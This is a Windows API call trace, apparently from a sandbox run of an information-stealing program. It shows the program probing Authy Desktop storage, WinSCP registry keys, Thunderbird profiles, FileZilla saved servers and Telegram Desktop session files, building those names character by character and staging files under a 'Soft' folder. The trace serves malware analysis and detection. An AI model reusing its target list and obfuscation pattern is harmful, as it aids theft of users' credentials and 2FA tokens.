[0052.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0052.883] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x671128
[0052.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x671128, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0052.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0052.883] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d948
[0052.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0052.883] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d9a0
[0052.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d9a0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0052.883] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a0 | out: hHeap=0x670000) returned 1
[0052.883] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d9d8
[0052.883] lstrcpyA (in: lpString1=0x181558, lpString2="\\Soft\\Authy Desktop Old\\" | out: lpString1="\\Soft\\Authy Desktop Old\\") returned="\\Soft\\Authy Desktop Old\\"
[0052.885] lstrlenA (lpString="/Soft/Authy Desktop Old/") returned 24
[0052.885] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0052.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d8 | out: hHeap=0x670000) returned 1
[0052.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
[0052.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d948
[0052.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d948, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76
[0052.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x98) returned 0x67d9d8
[0052.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d948, cbMultiByte=76, lpWideCharStr=0x67d9d8, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*") returned 76
[0052.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da78
[0052.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d8 | out: hHeap=0x670000) returned 1
[0052.886] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage\\leveldb\\*"), lpFindFileData=0x1813f8 | out: lpFindFileData=0x1813f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="斈盰為꤃X", cAlternateFileName="ᙰ\x18偯@P")) returned 0xffffffff
[0052.886] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da78 | out: hHeap=0x670000) returned 1
[0052.886] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67d9d8
[0052.886] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1813f8 | out: lpFindFileData=0x1813f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="斈盰為꤃X", cAlternateFileName="ᙰ\x18偯@P")) returned 0
[0052.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
[0052.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9b0 | out: hHeap=0x670000) returned 1
[0052.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="斈盰為꤃X", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
[0052.887] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x671128
[0052.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="斈盰為꤃X", cchWideChar=6, lpMultiByteStr=0x671128, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="????X", lpUsedDefaultChar=0x0) returned 6
[0052.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0052.887] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d948
[0052.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="斈盰為꤃X", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6
[0052.887] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x671128
[0052.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="斈盰為꤃X", cchWideChar=6, lpMultiByteStr=0x671128, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="????X", lpUsedDefaultChar=0x0) returned 6
[0052.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0052.887] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d9a0
[0052.887] lstrcpyA (in: lpString1=0x181558, lpString2="\\Soft\\Authy Desktop\\????X" | out: lpString1="\\Soft\\Authy Desktop\\????X") returned="\\Soft\\Authy Desktop\\????X"
[0052.887] lstrlenA (lpString="/Soft/Authy Desktop/????X") returned 25
[0052.887] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Authy Desktop\\Local Storage\\leveldb\\????X" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\authy desktop\\local storage\\leveldb\\????x"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0052.887] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a0 | out: hHeap=0x670000) returned 1
[0052.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d948 | out: hHeap=0x670000) returned 1
[0052.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d8 | out: hHeap=0x670000) returned 1
[0052.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.888] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Martin Prikryl\\WinSCP 2\\Configuration", ulOptions=0x0, samDesired=0x1, phkResult=0x1811c4 | out: phkResult=0x1811c4*=0x0) returned 0x2
[0052.888] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x18194c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.888] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Thunderbird\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\"
[0052.888] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\", lpString2="..\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\", lpString2="p" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\p") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\p"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\p", lpString2="r" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\pr") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\pr"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\pr", lpString2="o" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\pro") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\pro"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\pro", lpString2="f" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\prof") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\prof"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\prof", lpString2="i" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profi") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profi"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profi", lpString2="l" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profil") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profil"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profil", lpString2="e" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profile") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profile"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profile", lpString2="s" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles"
[0052.888] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles", lpString2=".ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini"
[0052.888] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Thunderbird\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\thunderbird\\profiles.ini")) returned 0xffffffff
[0052.888] SHGetFolderPathA (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x1815cc | out: pszPath="C:\\Users\\RDhJ0CNFevzX") returned 0x0
[0052.889] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX" | out: lpString1="C:\\Users\\RDhJ0CNFevzX") returned="C:\\Users\\RDhJ0CNFevzX"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX", lpString2="\\AppData\\Roaming\\FileZilla\\recentservers.xml" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml"
[0052.889] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\filezilla\\recentservers.xml")) returned 0xffffffff
[0052.889] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x181b74 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.889] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\", lpString2="T" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\T") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\T"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\T", lpString2="e" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Te") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Te"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Te", lpString2="l" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Tel") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Tel"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Tel", lpString2="e" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Tele") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Tele"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Tele", lpString2="g" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Teleg") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Teleg"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Teleg", lpString2="r" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegr") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegr"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegr", lpString2="a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegra") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegra"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegra", lpString2="m" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram", lpString2=" " | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram ") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram "
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram ", lpString2="D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram D") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram D"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram D", lpString2="e" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram De") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram De"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram De", lpString2="s" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Des") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Des"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Des", lpString2="k" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desk") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desk"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desk", lpString2="t" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Deskt") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Deskt"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Deskt", lpString2="o" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Deskto") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Deskto"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Deskto", lpString2="p" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop"
[0052.889] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\"
[0052.889] lstrcatA (in: lpString1="", lpString2="k" | out: lpString1="k") returned="k"
[0052.889] lstrcatA (in: lpString1="k", lpString2="e" | out: lpString1="ke") returned="ke"
[0052.889] lstrcatA (in: lpString1="ke", lpString2="y" | out: lpString1="key") returned="key"
[0052.889] lstrcatA (in: lpString1="key", lpString2="_" | out: lpString1="key_") returned="key_"
[0052.889] lstrcatA (in: lpString1="key_", lpString2="d" | out: lpString1="key_d") returned="key_d"
[0052.889] lstrcatA (in: lpString1="key_d", lpString2="a" | out: lpString1="key_da") returned="key_da"
[0052.889] lstrcatA (in: lpString1="key_da", lpString2="t" | out: lpString1="key_dat") returned="key_dat"
[0052.890] lstrcatA (in: lpString1="key_dat", lpString2="a" | out: lpString1="key_data") returned="key_data"
[0052.890] lstrcatA (in: lpString1="key_data", lpString2="s" | out: lpString1="key_datas") returned="key_datas"
[0052.890] lstrcatA (in: lpString1="", lpString2="D" | out: lpString1="D") returned="D"
[0052.890] lstrcatA (in: lpString1="D", lpString2="8" | out: lpString1="D8") returned="D8"
[0052.890] lstrcatA (in: lpString1="D8", lpString2="7" | out: lpString1="D87") returned="D87"
[0052.890] lstrcatA (in: lpString1="D87", lpString2="7" | out: lpString1="D877") returned="D877"
[0052.890] lstrcatA (in: lpString1="D877", lpString2="F" | out: lpString1="D877F") returned="D877F"
[0052.890] lstrcatA (in: lpString1="D877F", lpString2="7" | out: lpString1="D877F7") returned="D877F7"
[0052.890] lstrcatA (in: lpString1="D877F7", lpString2="8" | out: lpString1="D877F78") returned="D877F78"
[0052.890] lstrcatA (in: lpString1="D877F78", lpString2="3" | out: lpString1="D877F783") returned="D877F783"
[0052.890] lstrcatA (in: lpString1="D877F783", lpString2="D" | out: lpString1="D877F783D") returned="D877F783D"
[0052.890] lstrcatA (in: lpString1="D877F783D", lpString2="5" | out: lpString1="D877F783D5") returned="D877F783D5"
[0052.890] lstrcatA (in: lpString1="D877F783D5", lpString2="D" | out: lpString1="D877F783D5D") returned="D877F783D5D"
[0052.890] lstrcatA (in: lpString1="D877F783D5D", lpString2="3" | out: lpString1="D877F783D5D3") returned="D877F783D5D3"
[0052.890] lstrcatA (in: lpString1="D877F783D5D3", lpString2="E" | out: lpString1="D877F783D5D3E") returned="D877F783D5D3E"
[0052.890] lstrcatA (in: lpString1="D877F783D5D3E", lpString2="F" | out: lpString1="D877F783D5D3EF") returned="D877F783D5D3EF"
[0052.890] lstrcatA (in: lpString1="D877F783D5D3EF", lpString2="8" | out: lpString1="D877F783D5D3EF8") returned="D877F783D5D3EF8"
[0052.890] lstrcatA (in: lpString1="D877F783D5D3EF8", lpString2="C" | out: lpString1="D877F783D5D3EF8C") returned="D877F783D5D3EF8C"
[0052.890] lstrcatA (in: lpString1="D877F783D5D3EF8C", lpString2="*" | out: lpString1="D877F783D5D3EF8C*") returned="D877F783D5D3EF8C*"
[0052.892] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.892] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.930] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.930] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.930] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.930] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.930] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d910
[0052.930] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.930] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
[0052.931] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.931] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d910
[0052.931] wsprintfA (in: param_1=0x181b64, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*") returned 57
[0052.931] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Telegram Desktop\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telegram desktop\\*"), lpFindFileData=0x18163c | out: lpFindFileData=0x18163c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xffffffff, ftCreationTime.dwHighDateTime=0xfda500d, ftLastAccessTime.dwLowDateTime=0x6cc3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x7649de7b, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x6cc284, dwReserved0=0x6cc248, dwReserved1=0x181914, cFileName="", cAlternateFileName="\x87\x16Jv")) returned 0xffffffff
